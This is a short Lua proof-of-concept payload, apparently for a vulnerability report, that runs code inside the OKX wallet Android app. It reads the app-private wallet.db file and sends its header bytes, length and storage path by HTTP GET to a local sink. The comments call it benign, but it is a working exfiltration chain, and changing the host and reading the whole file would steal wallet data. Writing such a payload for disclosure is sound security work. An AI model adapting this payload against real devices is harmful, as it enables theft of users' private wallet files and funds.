-- OKX WAL-01 RCE PoC payload (BENIGN). Proves: Lua exec in wallet process + arbitrary
-- app-private file read (wallet.db, readable only by the app uid) + network exfil.
-- Reads only the SQLite magic header + file length (NO user secrets) and sends to a LOCAL sink.
local function hex(s) local o={} for i=1,#s do o[i]=string.format("%02x", string.byte(s,i)) end return table.concat(o) end
local target = "/data/data/com.okx.wallet/databases/wallet.db"
local ok, data = pcall(function() return File.syncReadString(target) end)
local storage = tostring(File.getStorageDir())
local magic, len
if type(data) == "string" then magic = hex(string.sub(data,1,16)); len = #data else magic = "READ_FAIL:"..tostring(data); len = -1 end
local base = "http://10.0.2.2:8777/sink?proof=okx_wal01_rce"
local q = base .. "&file=walletdb&len=" .. tostring(len) .. "&magic=" .. magic .. "&storage=" .. storage
-- try several Http arg shapes; whichever the build accepts fires the GET
pcall(function() Http():get(q, {}, function(r) end, function(e) end) end)
pcall(function() Http():get(q, function(r) end, function(e) end) end)
pcall(function() Http():get(q) end)